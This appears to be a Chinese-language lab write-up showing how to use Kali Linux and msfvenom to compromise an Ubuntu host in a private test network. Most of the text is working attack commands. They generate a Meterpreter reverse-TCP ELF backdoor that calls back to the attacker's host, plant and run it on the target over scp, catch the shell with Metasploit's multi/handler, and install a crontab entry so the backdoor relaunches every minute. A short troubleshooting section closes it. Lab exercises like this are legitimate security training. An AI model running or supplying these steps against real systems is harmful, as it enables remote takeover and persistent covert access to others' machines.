网络安全： Kali Linux 进行 MSFvenom 程序利用

目录

 一、实验

1.环境

2. Kali Linux 进行 MSFvenom 程序利用

3. 创建计划任务自动运行 MSFvenom 程序

二、问题

1.在线加密解密

2.MSF 运行失败

3.MobaXterm 连接Ubuntu 失败

---

 一、实验

1.环境

（1）主机

表1  主机

系统	版本	IP	备注
Kali Linux	2022.4	192.168.204.154（动态）
Ubuntu	8.04	192.168.204.143	Kali(2022.4)的目标主机

（2）查看Kali Linux (2022.4)系统版本

cat /etc/os-release

（6） 查看Kali Linux (2022.4)系统IP地址

ip addr | grep 154

(7)查看Ubuntu 8.04 系统版本及IP地址

lsb_release -a

ip addr

2. Kali Linux 进行 MSFvenom 程序利用

（1）创建后⻔程序

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.204.154 lport=4444 -f elf -o shell

(2) 配置ssh文件

vim .ssh/config

Host *
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa

（3）植⼊后⻔程序

scp shell root@192.168.204.143:/mnt

（4）Ubuntu查看权限

ls -l /mnt

(4)Ubuntu激活后⻔程序

chmod  a+x  /mnt/shell

（5）再次查看权限

ls -l /mnt

（6）Ubuntu后台执行

/mnt/shell & 

（7）Kali Linux 连接后门

新开一个终端

msfconsole

（8）调用侦听模块

 use  exploit/multi/handler 

（9）设置响应的IP地址

 set lhost 192.168.204.154

（10）设置响应的端口

set lport  4444

（11）设置载荷

set payload linux/x86/meterpreter/reverse_tcp

（12）运行

开启TCP反向侦听

run

（13）Ubuntu再次后台运行

（14）已连接

（15）查看用户权限及进程

用户

getuid

进程号

getpid

(16) 进入内核

shell

查看用户

whoami

查看路径

pwd

(17)退出

exit

3. 创建计划任务自动运行 MSFvenom 程序

（1）Ubuntu创建计划任务crontab程序

EDITOR=vim crontab -e

修改前：

修改后：

# m h  dom mon dow   command
* * * * * /bin/date>>/tmp/time.txt
* * * * * /mnt/shell &

（2）Kali Linux 连接后门

新开一个终端

msfconsole

 （3）调用侦听模块

 use  exploit/multi/handler 

（4）设置响应的IP地址

 set lhost 192.168.204.154

（5）设置响应的端口

set lport  4444

（6）设置载荷

set payload linux/x86/meterpreter/reverse_tcp

（7）运行

开启TCP反向侦听（已自动连接）

run

（8）运行在后台

background

(9) 查看会话

sessions

(10)切换会话

sessions 1

(11) 退出

exit

二、问题

1.在线加密解密

（1）查看DES 对称加密

http://www.jsons.cn/desencrypt

2.MSF 运行失败

(1) 报错

（2）原因分析

lhost地址错。

（3）解决方法

修改lhost地址。

已连接：

3.MobaXterm 连接Ubuntu 失败

(1) 报错

（2）原因分析

Ubuntu未设置root密码

（3）解决方法

sudo -i

passwd root

成功：